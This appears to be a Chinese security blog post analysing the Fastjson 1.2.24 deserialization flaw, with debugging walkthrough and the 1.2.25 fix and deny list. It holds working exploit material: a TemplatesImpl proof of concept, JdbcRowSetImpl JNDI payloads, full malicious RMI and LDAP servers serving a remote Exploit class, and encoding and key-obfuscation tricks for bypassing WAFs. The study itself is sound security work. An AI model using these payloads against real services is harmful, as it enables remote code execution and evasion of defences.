Java反序列化之Fastjson 1.2.24反序列化漏洞
最近在学习Java反序列化的一些漏洞,因此来分析一下
fastjson
一开始爆出来的fastjson1.2.24
反序列化漏洞。
Fastjson介绍
FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。项目地址:https://github.com/alibaba/fastjson
。漏洞公告的地址:https://github.com/alibaba/fastjson/wiki/security_update_20170315
Fastjson使用
在pom.xml
中添加依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
User类
package ccship.fastjson;
public class User {
private String name;
private int age;
public User() {
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public User(String name, int age) {
this.name = name;
this.age = age;
}
}
序列化:JSON.toJSONString()
将对象序列化成Json字符串
FastJsonTest测试类
package ccship.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FastJsonTest {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("cc");
String s = JSON.toJSONString(user);
System.out.println(s);
s = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s);
}
}
//运行的结果为
{"age":18,"name":"cc"}
{"@type":"ccship.fastjson.User","age":18,"name":"cc"}
其中SerializerFeature.WriteClassName
是toJSONString
设置的一个属性值,设置之后在序列化的时候会多写入一个@type
,写上被序列化的类名,@type
可以指定反序列化的类,并且调用其getter/setter
等方法。
反序列化:JSON.parseObject()
,JSON.parse()
两种方法的区别是返回的对象类型有所不同
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}
return (JSONObject) JSON.toJSON(obj);
}
可以看到JSONObject
方法会在执行parse的基础上多执行JSON.toJSON
,作用是将返回的对象转化为parseObject
类。如果反序列化的Json字符中没有指定@type
,则两个返回的结果一样。
package ccship.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FastJsonTest {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("cc");
System.out.println("未设置@type");
String s = JSON.toJSONString(user);
System.out.println(s);
Object parse = JSON.parse(s);
System.out.println("通过parse反序列化的类名:"+parse.getClass().getName());
JSONObject parseObject = JSON.parseObject(s);
System.out.println("通过parseObject反序列化的类名:"+parseObject.getClass().getName());
System.out.println("设置@type");
s = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s);
parse = JSON.parse(s);
System.out.println("通过parse反序列化的类名:"+parse.getClass().getName());
parseObject = JSON.parseObject(s);
System.out.println("通过parseObject反序列化的类名:"+parseObject.getClass().getName());
}
}
//输出结果
未设置@type
{"age":18,"name":"cc"}
通过parse反序列化的类名:com.alibaba.fastjson.JSONObject
通过parseObject反序列化的类名:com.alibaba.fastjson.JSONObject
设置@type
{"@type":"ccship.fastjson.User","age":18,"name":"cc"}
通过parse反序列化的类名:ccship.fastjson.User
通过parseObject反序列化的类名:com.alibaba.fastjson.JSONObject
但是我们可以通过在parseObject
参数中传入类,从而达到和parse
相同的效果
parseObject(input,Object.class)
), 发现此时也变成了User
类
User parseObject = JSON.parseObject(s,User.class);
@type
前面说过,当反序列化时,如果有指定@type
,会自动调用类中的setter、getter、构造器
等
经典谈计算器
package ccship.fastjson;
import java.io.IOException;
public class Evil {
private String cmd;
public Evil(){
}
public void setCmd(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
this.cmd = cmd;
}
public String getCmd() throws Exception{
return this.cmd;
}
@Override
public String toString() {
return "Evil{" +
"cmd='" + cmd + '\'' +
'}';
}
}
package ccship.fastjson;
import com.alibaba.fastjson.JSON;
public class FastJsonTest {
public static void main(String[] args) throws Exception {
String s = "{\"@type\":\"ccship.fastjson.Evil\",\"cmd\":\"calc\"}";
JSON.parse(s);
}
}
自动调用getCmd
了
关于parse和parseObject具体的区别总结如下:
使用JSON.parse(jsonstr)
与JSON.parseObject(jsonstr, Object.class)
两种方式时:
先调用setter
,再调用getter
调用setter
需要满足
- 方法名长度不能小于4
- 不能是静态方法
- 返回的类型必须是void 或者是自己本身
- 传入参数个数必须为1
- 方法开头必须是set
调用getter
需要满足
- 方法名长度不小于4
- 不能是静态方法
- 方法名要get开头同时第四个字符串要大写
- 方法返回的类型必须继承自
Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
- 传入的参数个数需要为0
- 此
getter
不能有setter
方法(程序会先将目标类中所有的setter
加入fieldList
列表,因此可以通过读取fieldList
列表来判断此类中的getter
方法有没有setter
)
JSON.parse(jsonstr)
与JSON.parseObject(jsonstr,Object.class)
这两种方式执行的过程与结果是完全一致的。二者唯一的区别就是获取class
参数的途径不同。
使用JSON.parseObject(jsonstr)
时
JSON.parseObject(jsonstr)
返回值为JSONObject
类对象,且反序列化类中的所有getter
与setter
都被调用。
以上的针对的是setter
和getter
方法是public
的,但是如果有时候遇到private
的情况我们就不能进行反序列化了,会返回null
如果目标类中私有变量的setter
和getter
方法是private
的,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField
参数。
parse(String text) | parseObject(String text) | parseObject(String text, Class\ |
|
---|---|---|---|
Setter调用情况 | 全部 | 全部 | 全部 |
Getter调用情况 | 部分 | 部分 | 全部 |
参考链接:https://paper.seebug.org/1274/#_5
Bybass Waf技巧
Unicode/Hex编码绕过
在JSONLexerBase.scanSymbol
方法中,用来处理json字符串的函数,部分关键部分代码如下:
case 'x':
char x1 = ch = next();
char x2 = ch = next();
int x_val = digits[x1] * 16 + digits[x2];
char x_char = (char) x_val;
hash = 31 * hash + (int) x_char;
putChar(x_char);
break;
case 'u':
char c1 = chLocal = next();
char c2 = chLocal = next();
char c3 = chLocal = next();
char c4 = chLocal = next();
int val = Integer.parseInt(new String(new char[] { c1, c2, c3, c4 }), 16);
hash = 31 * hash + val;
putChar((char) val);
break;
当输入的字符是形如 \u 或者 \x 的情况下fastjson是会对其进行解码操作的(即fastjson支持字符串的Unicode编码和十六进制编码)
例如:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
编码:对字符串进行编码
{"\u0040\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://localhost:1099/Exploit","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}
利用FastJson智能匹配进行混淆绕过
FastJSON
存在智能匹配的特性,即使JavaBean
中的字段和JSON
中的key
并不完全匹配,在一定程度上还是可以正常解析的。主要是在JavaBeanDeserializer.smartMatch
方法进行实现。假设当前UserBean
的属性如下,可以利用智能匹配的特性,可以尝试使用如下方法对key
进行混淆:
private String name;
private Integer age;
- 使用
-
和_
进行混淆
FastJSON
会对JSON
中没有成功映射JavaBean
的key
做智能匹配,在反序列的过程中会忽略大小写和下划线,会自动把下划线命名的Json
字符串转化到驼峰式命名的Java对象字段中。
查看1.2.24版本,部分关键部分代码如下,主要是在JavaBeanDeserializer.smartMatch
方法:
if (fieldDeserializer == null) {
boolean snakeOrkebab = false;
String key2 = null;
for (int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_') {
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
} else if (ch == '-') {
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}
if (snakeOrkebab) {
fieldDeserializer = getFieldDeserializer(key2);
if (fieldDeserializer == null) {
for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {
fieldDeserializer = fieldDeser;
break;
}
}
}
}
}
也就是说可以分别使用-
和_
来对payload进行混淆:
例如:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
使用-
混淆字段名:
{"@type":"com.sun.rowset.JdbcRowSetImpl","d_a_t_a_S_o_urceName":"rmi://localhost:1099/Exploit","autoCommit":true}
使用_
混淆字段名:
{"@type":"com.sun.rowset.JdbcRowSetImpl","d-a-t-a-S-o-urceName":"rmi://localhost:1099/Exploit","autoCommit":true}
使用-
和_
组合:
在1.2.36版本及后续版本,对智能匹配方法进行了修改,部分具体代码如下,具体处理方法在TypeUtils.fnv1a_64_lower
public static long fnv1a_64_lower(String key)
{
long hashCode = -3750763034362895579L;
for (int i = 0; i < key.length(); i++)
{
char ch = key.charAt(i);
if ((ch != '_') && (ch != '-'))
{
if ((ch >= 'A') && (ch <= 'Z')) {
ch = (char)(ch + ' ');
}
hashCode ^= ch;
hashCode *= 1099511628211L;
}
}
return hashCode;
}
也就是说1.2.36版本及后续版本还可以支持同时使用_
和-
进行组合混淆:
{"@type":"com.sun.rowset.JdbcRowSetImpl","d_a_t_a_S_o_u-r-c-eName":"rmi://localhost:1099/Exploit","autoCommit":true}
- 使用is开头的key字段
Fastjson在做智能匹配时,如果key以is
开头,则忽略is
开头,相关代码如下:
int pos = Arrays.binarySearch(this.smartMatchHashArray, smartKeyHash);
if ((pos < 0) && (key.startsWith("is")))
{
smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));
pos = Arrays.binarySearch(this.smartMatchHashArray, smartKeyHash);
}
绕过:
{"@type":"com.sun.rowset.JdbcRowSetImpl","isdataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
参考链接:https://sec-in.com/article/950
TemplatesImpl利用链
如果一个类中的Getter
方法满足调用条件并且存在可利用点,那么这个攻击链就产生了。
在CC2
链中,使用了TemplatesImpl类
,通过TemplatesImpl类
中的getOutputProperties
方法可实现加载任意字节码执行代码。其中getOutputProperties()
方法为_outputProperties
成员变量的getter
方法。根据上面说的Bybass Waf
,在寻找_outputProperties
的getter
方法时,程序将下划线置空,从而产生了成员变量_outputProperties
与getter
方法getOutputProperties()
对应的形式。并且它没有实现对应的setter
方法,如果要对其进行赋值的话,需要使用Feature.SupportNonPublicField
参数
触发条件:input可控,并且设置为Feature.SupportNonPublicField
parseObject(input,Object.class,Feature.SupportNonPublicField)
parseObject(input,Feature.SupportNonPublicField)
parse(input,Feature.SupportNonPublicField)
POC
:
package ccship.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class poc1 {
public static String generateEvil() throws Exception {
byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
String EvilCode = Base64.getEncoder().encodeToString(code);
System.out.println(EvilCode);
return EvilCode;
}
public static void main(String[] args) throws Exception {
final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evil = poc1.generateEvil();
String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";
JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
}
}
//Test.java
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
调试分析:
调用parseObject
之后会调用parse
方法
跟进DefaultJSONParser
,通过getCurrent
获取第一个字符{
。如果第一个字符是{
,那么就将12赋值给lexer.token
,如果为[
,那么就将14赋值给lexer.token
获取DefaultJSONParser
之后回到parse
方法中,,调用parser.parse();
方法。
跟进到parse
方法
这里会判断token
的值,也就是前面通过第一个字符{
赋值为12。因此会调用parseObject
,这里的JSONObject
主要是实例化HashMap
进入parseObject
:
这里同样会对token
的值进行判断,最终进入到一个超长的for
循环
这个时候的ch已经为第二个字符"
了。接着往下
通过扫描字符scanSymbol
,这里就实现了对字符的扫描。Unicode/Hex编码绕过就来着这里。扫描出来的key
为@type
。读出key
直接接着往下
到这里就会读取@type
的类名了,然后通过fastjson
自己实现的TypeUtils
类加载class
。。
自此会进入到367行的getDeserializer
获取反序列化器,跟进。
跟进getDeserializer
方法后,发现会根据我们传入的type
在derializers
中寻找对应的反序列化器。
derializers
中存放着常见类和其对应的反序列化器(key-value形式
),这里由于我们的type
是Object.class
所以是能够找到对应的反序列化器的,所以进入第一个if
,直接返回找到的反序列化器。
位于getDeserializer
的461行。寻找反序列化器时会走到这里,调用createJavaBeanDeserializer
获取。
跟进createJavaBeanDeserializer
方法。在526行根据build
获取JavaBean
的信息
这里就是通过反射获取setter、getter
。并指需要满足哪些要求。上面已经总结过了。
例如这里获取到了getOutputProperties
获取反序列化器之后放入Map后返回derializer
。
现在开始调用deserializer.deserialze
来利用上面获取到的反序列化器来反序列化我们传入的类。
跟进,又是一个很长很长的方法。跟到570行这里会对类进行实例化
接下来就是对参数进行解析,跟进parseField
方法
在该方法中利用smartMatch对我们传入的属性进行了模糊匹配。这里就是上面的利用FastJson智能匹配进行混淆绕过所说的,也是能够通过_outputProperties
获取对应的getter:getOutputProperties()
随后再次调用parseField
,对属性进行反序列化,将反序列化后的值赋值给value
,然后进入setValue
跟进后往下走,会调用setValue
进入之后会对我们的值进行处理。
如果是字节数组的话会进行解码操作。
这里进行了base64
解码,这也是为什么我们传入的字节码_bytecodes
需要base64
编码了。
这里整个过程会依次循环获取JSON变量的值,获取成员变量,调用setter、getter
,如果方法存在则会进入此if
。这里我已经调到了key
为getOutputProperties
通过反射invoke
调用了getOutputProperties
方法
后面就不跟了,CC2链的流程大家都很清楚了
总结问题:
为什么需要对_bytecodes进行Base64编码
因为Fastjson
提取byte[]
数组字段值时会进行Base64
解码,所以我们构造payload
时需要对_bytecodes
字段进行Base64
加密处理。其中Fastjson
在ObjectArrayCodec.deserialze()
函数中会调用lexer.bytesValue()
对byte
数组进行处理。上面已经分析过了。
为什么需要设置_tfactory为{}
在getTransletInstance()
函数中调用了defineTransletClasses()
函数,defineTransletClasses()
函数是用于生成Java
类的,在其中会新建一个转换类加载器,其中会调用到_tfactory.getExternalExtensionsMap()
方法,若_tfactory
为null则会导致这段代码报错、从而无法生成恶意类,进而无法成功攻击利用。因此需要传入值。那这里传入空为什么可以?
在fastjson
中,JavaBeanDeserializer
类的deserialze
,627行进行了处理,会对值进行判断,如果为空的话,会根据类属性定义的类型自动创建实例
关联_outputProperties与getOutputProperties()方法
Fastjson
会语义分析JSON
字符串,根据字段key
,调用fieldList
数组中存储的相应方法进行变量初始化赋值。
具体的代码在JavaBeanDeserializer.parseField()
中,其中调用了smartMatch()
方法:
在JavaBeanDeserializer.smartMatch()
方法中,会替换掉字段key中的_
,从而使得_outputProperties
变成了outputProperties
。上面已经说明原因。
JdbcRowSetImpl利用链
由于之前对TemplatesImpl
分析的很详细了。因此这里就不在进行调试了。基于JdbcRowSetImpl
的利用链主要有两种利用方式,即JNDI+RMI
和JNDI+LDAP
,都是属于基于Bean Property
类型的JNDI
的利用方式。具体JNDI
注入就不在分析了。
限制
由于是利用JNDI注入漏洞来触发的,因此主要的限制因素是JDK版本。
基于RMI利用的JDK版本<=6u141、7u131、8u121
,基于LDAP利用的JDK版本<=6u211、7u201、8u191
。
JNDI+RMI POC
POC:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}
@type指向com.sun.rowset.JdbcRowSetImpl
类,dataSourceName
值为RMI
服务中心绑定的Exploit
服务,autoCommit
有且必须为true
或false
等布尔值类型:
JNDIServer.java
,RMI
服务,注册表绑定了Exploit
服务,该服务是指向恶意Exploit.class
文件所在服务器的Reference
:
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
//http://127.0.0.1:8000/Exploit.class即可
Reference reference = new Reference("Exloit",
"Exploit","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
Exploit.java
,恶意类,单独编译成class文件并放置于RMI服务指向的三方Web服务中。
public class Exploit{
public Exploit() {
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"/bin/bash","-c", "touch /tmp/hacked"};
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit e = new Exploit();
}
}
JdbcRowSetImplPoc.java
:
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
JNDI+LDAP POC
POC
如下,跟RMI
的相比只是改了URL
而已:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
但是相比RMI
的利用方式,优势在于JDK
的限制更低了。
LdapServer.java
,区别在于将之前的RMI
服务端换成LDAP
服务端:
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#Exploit";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
Exploit.java
不变。
JdbcRowSetImplPoC.java
中修改payload
中的dataSourceName
的值为指向LDAP
服务端地址即可:
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\", \"autoCommit\":true}";
JdbcRowSetImpl链分析
由于会自动调用setter
方法,而这里用到了两个变量。所有直接看setDataSourceName、setAutoCommit
先调用setDataSourceName
给dataSource
赋值,然后调用setAutoCommit
调用connect
可以看到在connect
中使用JNDI
,并且lookup
方法传入的参数可控,就是我们传入的dataSource
,所以此处远程加载了我们HTTP服务上的恶意class
fastjson 1.2.24 修复
修复链接:
https://github.com/alibaba/fastjson/commit/d52085ef54b32dfd963186e583cbcdfff5d101b5
将DefaultJSONParser.parseObject
中将加载类的TypeUtils.loadClass
方法替换为了this.config.checkAutoType()
方法
checkAutoType()
将pom.xml
中的依赖改成1.2.25
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
再运行TemplatesImpl
的利用链,出现异常,autoType
不支持此方法。
看下修改的地方,新增的checkAutoType
中,利用了白名单+黑名单的机制
同时增加了黑名单, 在黑名单中扩充了很多类
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
默认情况下,autoTypeSupport
为False
,即先进行黑名单过滤,遍历denyList
,如果引入的库以denyList
中某个deny
开头,就会抛出异常,中断运行。
当autoTypeSupport
开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。
简单地说,checkAutoType()
方法就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList
为白名单(默认为空,可手动添加),denyList
为黑名单(默认不为空)。
autoTypeSupport
autoTypeSupport
是checkAutoType()
函数出现后ParserConfig.java
中新增的一个配置选项,在checkAutoType()
函数的某些代码逻辑起到开关的作用。
默认情况下autoTypeSupport
为False
,将其设置为True
有两种方法:
- JVM启动参数:
-Dfastjson.parser.autoTypeSupport=true
- 代码中设置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);
AutoType
白名单设置方法:
- JVM启动参数:
-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
- 代码中设置:
ParserConfig.getGlobalInstance().addAccept("com.xx.a");
- 通过
fastjson.properties
文件配置。在1.2.25/1.2.26
版本支持通过类路径的fastjson.properties
文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.
参考链接:
http://wjlshare.com/archives/1512
Comments | NOTHING